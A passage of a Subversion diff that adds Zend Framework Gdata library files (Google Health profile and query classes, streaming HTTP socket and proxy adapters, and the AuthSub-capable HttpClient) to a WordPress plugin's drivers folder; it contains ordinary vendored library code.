+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        foreach (Zend_Gdata_Health::$namespaces as $nsPrefix => $nsUri) {
+            $this->registerNamespace($nsPrefix, $nsUri);
+        }
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_ccrData !== null) {
+          $element->appendChild($this->_ccrData->getDOM($element->ownerDocument));
+        }
+        
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        if (strstr($absoluteNodeName, $this->lookupNamespace('ccr') . ':')) {
+            $ccrElement = new Zend_Gdata_Health_Extension_Ccr();
+            $ccrElement->transferFromDOM($child);
+            $this->_ccrData = $ccrElement;            
+        } else {
+            parent::takeChildFromDOM($child);
+            
+        }
+    }
+    
+    /** 
+     * Sets the profile entry's CCR data
+     * @param string $ccrXMLStr The CCR as an xml string
+     * @return Zend_Gdata_Health_Extension_Ccr
+     */
+    public function setCcr($ccrXMLStr) {
+        $ccrElement = null;
+        if ($ccrXMLStr != null) {
+          $ccrElement = new Zend_Gdata_Health_Extension_Ccr();
+          $ccrElement->transferFromXML($ccrXMLStr);
+          $this->_ccrData = $ccrElement;
+        }
+        return $ccrElement;
+    }
+
+
+    /** 
+     * Returns all the CCR data in a profile entry
+     * @return Zend_Gdata_Health_Extension_Ccr
+     */
+    public function getCcr() {
+        return $this->_ccrData;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileFeed.php	(revision 44)
@@ -0,0 +1,66 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Represents a Google Health user's Profile Feed
+ *
+ * @link http://code.google.com/apis/health/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health_ProfileFeed extends Zend_Gdata_Feed
+{
+    /**
+     * The class name for individual profile feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Health_ProfileEntry';
+    
+    /**
+     * Creates a Health Profile feed, representing a user's Health profile
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        foreach (Zend_Gdata_Health::$namespaces as $nsPrefix => $nsUri) {
+            $this->registerNamespace($nsPrefix, $nsUri);
+        }
+        parent::__construct($element);
+    }
+
+    public function getEntries()
+    {
+        return $this->entry;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileListEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileListEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileListEntry.php	(revision 44)
@@ -0,0 +1,99 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * Concrete class for working with Health profile list entries.
+ *
+ * @link http://code.google.com/apis/health/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health_ProfileListEntry extends Zend_Gdata_Entry
+{
+    /**
+     * The classname for individual profile list entry elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Health_ProfileListEntry';
+
+    /**
+     * Constructs a new Zend_Gdata_Health_ProfileListEntry object.
+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        parent::takeChildFromDOM($child);
+    }
+        
+    /** 
+     * Retrieves the profile ID for the entry, which is contained in <atom:content>
+     * @return string The profile id
+     */
+    public function getProfileID() {
+        return $this->getContent()->text;
+    }
+    
+    /** 
+     * Retrieves the profile's title, which is contained in <atom:title>
+     * @return string The profile name
+     */
+    public function getProfileName() {
+        return $this->getTitle()->text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileListFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileListFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileListFeed.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Represents a Google Health user's Profile List Feed
+ *
+ * @link http://code.google.com/apis/health/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health_ProfileListFeed extends Zend_Gdata_Feed
+{
+    /**
+     * The class name for individual profile feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Health_ProfileListEntry';
+    
+    public function getEntries()
+    {
+        return $this->entry;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/Query.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/Query.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/Query.php	(revision 44)
@@ -0,0 +1,284 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Health
+ *
+ * @link http://code.google.com/apis/health
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health_Query extends Zend_Gdata_Query
+{
+    /**
+     * URI of a user's profile feed.
+     */
+    const HEALTH_PROFILE_FEED_URI =
+        'https://www.google.com/health/feeds/profile/default';
+
+    /**
+     * URI of register (notices) feed.
+     */
+    const HEALTH_REGISTER_FEED_URI =
+        'https://www.google.com/health/feeds/register/default';
+
+    /**
+     * Namespace for an item category
+     */
+    const ITEM_CATEGORY_NS = 'http://schemas.google.com/health/item';
+
+    /**
+     * The default URI for POST methods
+     *
+     * @var string
+     */
+    protected $_defaultFeedUri = self::HEALTH_PROFILE_FEED_URI;
+
+    /**
+     * Sets the digest parameter's value.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setDigest($value)
+    {
+        if ($value !== null) {
+            $this->_params['digest'] = $value;
+        }
+        return $this;
+    }
+
+    /**
+     * Returns the digest parameter's value.
+     *
+     * @return string The value set for the digest parameter.
+     */
+    public function getDigest()
+    {
+        if (array_key_exists('digest', $this->_params)) {
+            return $this->_params['digest'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Setter for category queries.
+     *
+     * @param string $item A category to query.
+     * @param string $name (optional) A specific item to search a category for.
+     *     An example would be 'Lipitor' if $item is set to 'medication'.
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setCategory($item, $name = null)
+    {
+        $this->_category = $item . 
+            ($name ? '/' . urlencode('{' . self::ITEM_CATEGORY_NS . '}' . $name) : null);
+        return $this;
+    }
+
+    /**
+     * Returns the query object's category.
+     *
+     * @return string id
+     */
+    public function getCategory()
+    {
+        return $this->_category;
+    }
+
+    /**
+     * Setter for the grouped parameter.
+     *
+     * @param string $value setting a count of results per group.
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setGrouped($value)
+    {
+        if ($value !== null) {
+            $this->_params['grouped'] = $value;
+        }
+        return $this;
+    }
+
+    /**
+     * Returns the value set for the grouped parameter.
+     *
+     * @return string grouped parameter.  
+     */
+    public function getGrouped()
+    {
+        if (array_key_exists('grouped', $this->_params)) {
+            return $this->_params['grouped'];
+        } else {
+            return null;
+        }
+    }
+    
+    /**
+     * Setter for the max-results-group parameter.
+     *
+     * @param int $value Specifies the maximum number of groups to be 
+     *     retrieved. Must be an integer value greater than zero. This parameter
+     *     is only valid if grouped=true.
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setMaxResultsGroup($value)
+    {
+        if ($value !== null) {
+            if ($value <= 0 || $this->getGrouped() !== 'true') {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException(
+                    'The max-results-group parameter must be set to a value
+                    greater than 0 and can only be used if grouped=true'); 
+            } else {
+              $this->_params['max-results-group'] = $value;
+            }
+        }
+        return $this;
+    }
+
+    /**
+     *  Returns the value set for max-results-group.
+     *
+     * @return int Returns max-results-group parameter.  
+     */
+    public function getMaxResultsGroup()
+    {
+        if (array_key_exists('max-results-group', $this->_params)) {
+            return $this->_params['max-results-group'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     *  Setter for the max-results-group parameter.
+     *
+     * @param int $value Specifies the maximum number of records to be 
+     *     retrieved from each group.  The limits that you specify with this 
+     *     parameter apply to all groups. Must be an integer value greater than 
+     *     zero. This parameter is only valid if grouped=true.
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setMaxResultsInGroup($value)
+    {
+        if ($value !== null) {
+            if ($value <= 0 || $this->getGrouped() !== 'true') {
+              throw new Zend_Gdata_App_InvalidArgumentException(
+                  'The max-results-in-group parameter must be set to a value 
+                  greater than 0 and can only be used if grouped=true'); 
+            } else {
+              $this->_params['max-results-in-group'] = $value;
+            }
+        }
+        return $this;
+    }
+
+    /**
+     *  Returns the value set for max-results-in-group.
+     *
+     * @return int Returns max-results-in-group parameter.  
+     */
+    public function getMaxResultsInGroup()
+    {
+        if (array_key_exists('max-results-in-group', $this->_params)) {
+            return $this->_params['max-results-in-group'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Setter for the start-index-group parameter.
+     *
+     * @param int $value Retrieves only items whose group ranking is at 
+     *     least start-index-group. This should be set to a 1-based index of the
+     *     first group to be retrieved. The range is applied per category. 
+     *     This parameter is only valid if grouped=true.
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setStartIndexGroup($value)
+    {
+        if ($value !== null && $this->getGrouped() !== 'true') {
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'The start-index-group can only be used if grouped=true'); 
+        } else {
+          $this->_params['start-index-group'] = $value;
+        }
+        return $this;
+    }
+
+    /**
+     *  Returns the value set for start-index-group.
+     *
+     * @return int Returns start-index-group parameter.  
+     */
+    public function getStartIndexGroup()
+    {
+        if (array_key_exists('start-index-group', $this->_params)) {
+            return $this->_params['start-index-group'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     *  Setter for the start-index-in-group parameter.
+     *
+     * @param int $value  A 1-based index of the records to be retrieved from 
+     *     each group. This parameter is only valid if grouped=true.
+     * @return Zend_Gdata_Health_Query Provides a fluent interface
+     */
+    public function setStartIndexInGroup($value)
+    {
+        if ($value !== null && $this->getGrouped() !== 'true') {
+            throw new Zend_Gdata_App_InvalidArgumentException('start-index-in-group');
+        } else {
+          $this->_params['start-index-in-group'] = $value;
+        }
+        return $this;
+    }
+
+    /**
+     * Returns the value set for start-index-in-group.
+     *
+     * @return int Returns start-index-in-group parameter.  
+     */
+    public function getStartIndexInGroup()
+    {
+        if (array_key_exists('start-index-in-group', $this->_params)) {
+            return $this->_params['start-index-in-group'];
+        } else {
+            return null;
+        }
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpAdapterStreamingProxy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpAdapterStreamingProxy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpAdapterStreamingProxy.php	(revision 44)
@@ -0,0 +1,126 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Http_Client_Adapter_Proxy
+ */
+require_once 'Zend/Http/Client/Adapter/Proxy.php';
+
+/**
+ * Extends the proxy HTTP adapter to handle streams instead of discrete body
+ * strings.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_HttpAdapterStreamingProxy extends Zend_Http_Client_Adapter_Proxy
+{
+    /**
+     * The amount read from a stream source at a time.
+     *
+     * @var integer
+     */
+    const CHUNK_SIZE = 1024;
+
+    /**
+     * Send request to the proxy server with streaming support
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $uri
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as string
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '')
+    {
+        // If no proxy is set, throw an error
+        if (! $this->config['proxy_host']) {
+        	require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception('No proxy host set!');
+        }
+
+        // Make sure we're properly connected
+        if (! $this->socket) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Trying to write but we are not connected');
+        }
+
+        $host = $this->config['proxy_host'];
+        $port = $this->config['proxy_port'];
+
+        if ($this->connected_to[0] != $host || $this->connected_to[1] != $port) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Trying to write but we are connected to the wrong proxy ' .
+                'server');
+        }
+
+        // Add Proxy-Authorization header
+        if ($this->config['proxy_user'] && ! isset($headers['proxy-authorization'])) {
+            $headers['proxy-authorization'] = Zend_Http_Client::encodeAuthHeader(
+                $this->config['proxy_user'], $this->config['proxy_pass'], $this->config['proxy_auth']
+            );
+        }
+                
+        // if we are proxying HTTPS, preform CONNECT handshake with the proxy
+        if ($uri->getScheme() == 'https' && (! $this->negotiated)) {
+            $this->connectHandshake($uri->getHost(), $uri->getPort(), $http_ver, $headers);
+            $this->negotiated = true;
+        }
+        
+        // Save request method for later
+        $this->method = $method;
+
+        // Build request headers
+        $request = "{$method} {$uri->__toString()} HTTP/{$http_ver}\r\n";
+
+        // Add all headers to the request string
+        foreach ($headers as $k => $v) {
+            if (is_string($k)) $v = "$k: $v";
+            $request .= "$v\r\n";
+        }
+
+        $request .= "\r\n";
+
+        // Send the request headers
+        if (! @fwrite($this->socket, $request)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Error writing request to proxy server');
+        }
+
+        //read from $body, write to socket
+        while ($body->hasData()) {
+            if (! @fwrite($this->socket, $body->read(self::CHUNK_SIZE))) {
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception(
+                    'Error writing request to server');
+            }
+        }
+        return 'Large upload, request is not cached.';
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpAdapterStreamingSocket.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpAdapterStreamingSocket.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpAdapterStreamingSocket.php	(revision 44)
@@ -0,0 +1,107 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Http_Client_Adapter_Socket
+ */
+require_once 'Zend/Http/Client/Adapter/Socket.php';
+
+/**
+ * Extends the default HTTP adapter to handle streams instead of discrete body
+ * strings.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_HttpAdapterStreamingSocket extends Zend_Http_Client_Adapter_Socket
+{
+
+    /**
+     * The amount read from a stream source at a time.
+     *
+     * @var integer
+     */
+    const CHUNK_SIZE = 1024;
+
+    /**
+     * Send request to the remote server with streaming support.
+     *
+     * @param string        $method
+     * @param Zend_Uri_Http $uri
+     * @param string        $http_ver
+     * @param array         $headers
+     * @param string        $body
+     * @return string Request as string
+     */
+    public function write($method, $uri, $http_ver = '1.1', $headers = array(),
+        $body = '')
+    {
+        // Make sure we're properly connected
+        if (! $this->socket) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Trying to write but we are not connected');
+        }
+
+        $host = $uri->getHost();
+        $host = (strtolower($uri->getScheme()) == 'https' ? $this->config['ssltransport'] : 'tcp') . '://' . $host;
+        if ($this->connected_to[0] != $host || $this->connected_to[1] != $uri->getPort()) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Trying to write but we are connected to the wrong host');
+        }
+
+        // Save request method for later
+        $this->method = $method;
+
+        // Build request headers
+        $path = $uri->getPath();
+        if ($uri->getQuery()) $path .= '?' . $uri->getQuery();
+        $request = "{$method} {$path} HTTP/{$http_ver}\r\n";
+        foreach ($headers as $k => $v) {
+            if (is_string($k)) $v = ucfirst($k) . ": $v";
+            $request .= "$v\r\n";
+        }
+
+        // Send the headers over
+        $request .= "\r\n";
+        if (! @fwrite($this->socket, $request)) {
+            require_once 'Zend/Http/Client/Adapter/Exception.php';
+            throw new Zend_Http_Client_Adapter_Exception(
+                'Error writing request to server');
+        }
+
+
+        //read from $body, write to socket
+        while ($body->hasData()) {
+            if (! @fwrite($this->socket, $body->read(self::CHUNK_SIZE))) {
+                require_once 'Zend/Http/Client/Adapter/Exception.php';
+                throw new Zend_Http_Client_Adapter_Exception(
+                    'Error writing request to server');
+            }
+        }
+        return 'Large upload, request is not cached.';
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpClient.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpClient.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/HttpClient.php	(revision 44)
@@ -0,0 +1,346 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Http_Client
+ */
+require_once 'Zend/Http/Client.php';
+
+/**
+ * Gdata Http Client object.
+ *
+ * Class to extend the generic Zend Http Client with the ability to perform
+ * secure AuthSub requests
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_HttpClient extends Zend_Http_Client
+{
+
+    /**
+     * OpenSSL private key resource id
+     * This key is used for AuthSub authentication.  If this value is set,
+     * it is assuemd that secure AuthSub is desired.
+     *
+     * @var resource
+     */
+    private $_authSubPrivateKeyId = null;
+
+    /**
+     * Token for AuthSub authentication.
+     * If this token is set, AuthSub authentication is used.
+     *
+     * @var string
+     */
+    private $_authSubToken = null;
+
+    /**
+     * Token for ClientLogin authentication.
+     * If only this token is set, ClientLogin authentication is used.
+     *
+     * @var string
+     */
+    private $_clientLoginToken = null;
+
+    /**
+     * Token for ClientLogin authentication.
+     * If this token is set, and the AuthSub key is not set,
+     * ClientLogin authentication is used
+     *
+     * @var string
+     */
+    private $_clientLoginKey = null;
+
+    /**
+     * True if this request is being made with data supplied by
+     * a stream object instead of a raw encoded string.
+     *
+     * @var bool
+     */
+    protected $_streamingRequest = null;
+
+    /**
+     * Sets the PEM formatted private key, as read from a file.
+     *
+     * This method reads the file and then calls setAuthSubPrivateKey()
+     * with the file contents.
+     *
+     * @param string $file The location of the file containing the PEM key
+     * @param string $passphrase The optional private key passphrase
+     * @param bool $useIncludePath Whether to search the include_path
+     *                             for the file
+     * @return void
+     */
+    public function setAuthSubPrivateKeyFile($file, $passphrase = null,
+                                             $useIncludePath = false) {
+        $fp = fopen($file, "r", $useIncludePath);
+        $key = '';
+        while (!feof($fp)) {
+            $key .= fread($fp, 8192);
+        }
+        $this->setAuthSubPrivateKey($key, $passphrase);
+        fclose($fp);
+    }
+
+    /**
+     * Sets the PEM formatted private key to be used for secure AuthSub auth.
+     *
+     * In order to call this method, openssl must be enabled in your PHP
+     * installation.  Otherwise, a Zend_Gdata_App_InvalidArgumentException
+     * will be thrown.
+     *
+     * @param string $key The private key
+     * @param string $passphrase The optional private key passphrase
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return Zend_Gdata_HttpClient Provides a fluent interface
+     */
+    public function setAuthSubPrivateKey($key, $passphrase = null) {
+        if ($key != null && !function_exists('openssl_pkey_get_private')) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'You cannot enable secure AuthSub if the openssl module ' .
+                    'is not enabled in your PHP installation.');
+        }
+        $this->_authSubPrivateKeyId = openssl_pkey_get_private(
+                $key, $passphrase);
+        return $this;
+    }
+
+    /**
+     * Gets the openssl private key id
+     *
+     * @return string The private key
+     */
+    public function getAuthSubPrivateKeyId() {
+        return $this->_authSubPrivateKeyId;
+    }
+
+    /**
+     * Gets the AuthSub token used for authentication
+     *
+     * @return string The token
+     */
+    public function getAuthSubToken() {
+        return $this->_authSubToken;
+    }
+
+    /**
+     * Sets the AuthSub token used for authentication
+     *
+     * @param string $token The token
+     * @return Zend_Gdata_HttpClient Provides a fluent interface
+     */
+    public function setAuthSubToken($token) {
+        $this->_authSubToken = $token;
+        return $this;
+    }
+
+    /**
+     * Gets the ClientLogin token used for authentication
+     *
+     * @return string The token
+     */
+    public function getClientLoginToken() {
+        return $this->_clientLoginToken;
+    }
+
+    /**
+     * Sets the ClientLogin token used for authentication
+     *
+     * @param string $token The token
+     * @return Zend_Gdata_HttpClient Provides a fluent interface
+     */
+    public function setClientLoginToken($token) {
+        $this->_clientLoginToken = $token;
+        return $this;
+    }
+
+    /**
+     * Filters the HTTP requests being sent to add the Authorization header.
+     *
+     * If both AuthSub and ClientLogin tokens are set,
+     * AuthSub takes precedence.  If an AuthSub key is set, then
+     * secure AuthSub authentication is used, and the request is signed.
+     * Requests must be signed only with the private key corresponding to the
+     * public key registered with Google.  If an AuthSub key is set, but
+     * openssl support is not enabled in the PHP installation, an exception is
+     * thrown.
+     *
+     * @param string $method The HTTP method
+     * @param string $url The URL
+     * @param array $headers An associate array of headers to be
+     *                       sent with the request or null
+     * @param string $body The body of the request or null
+     * @param string $contentType The MIME content type of the body or null
+     * @throws Zend_Gdata_App_Exception if there was a signing failure
+     * @return array The processed values in an associative array,
+     *               using the same names as the params
+     */
+    public function filterHttpRequest($method, $url, $headers = array(), $body = null, $contentType = null) {
+        if ($this->getAuthSubToken() != null) {
+            // AuthSub authentication
+            if ($this->getAuthSubPrivateKeyId() != null) {
+                // secure AuthSub
+                $time = time();
+                $nonce = mt_rand(0, 999999999);
+                $dataToSign = $method . ' ' . $url . ' ' . $time . ' ' . $nonce;
+
+                // compute signature
+                $pKeyId = $this->getAuthSubPrivateKeyId();
+                $signSuccess = openssl_sign($dataToSign, $signature, $pKeyId,
+                                            OPENSSL_ALGO_SHA1);
+                if (!$signSuccess) {
+                    require_once 'Zend/Gdata/App/Exception.php';
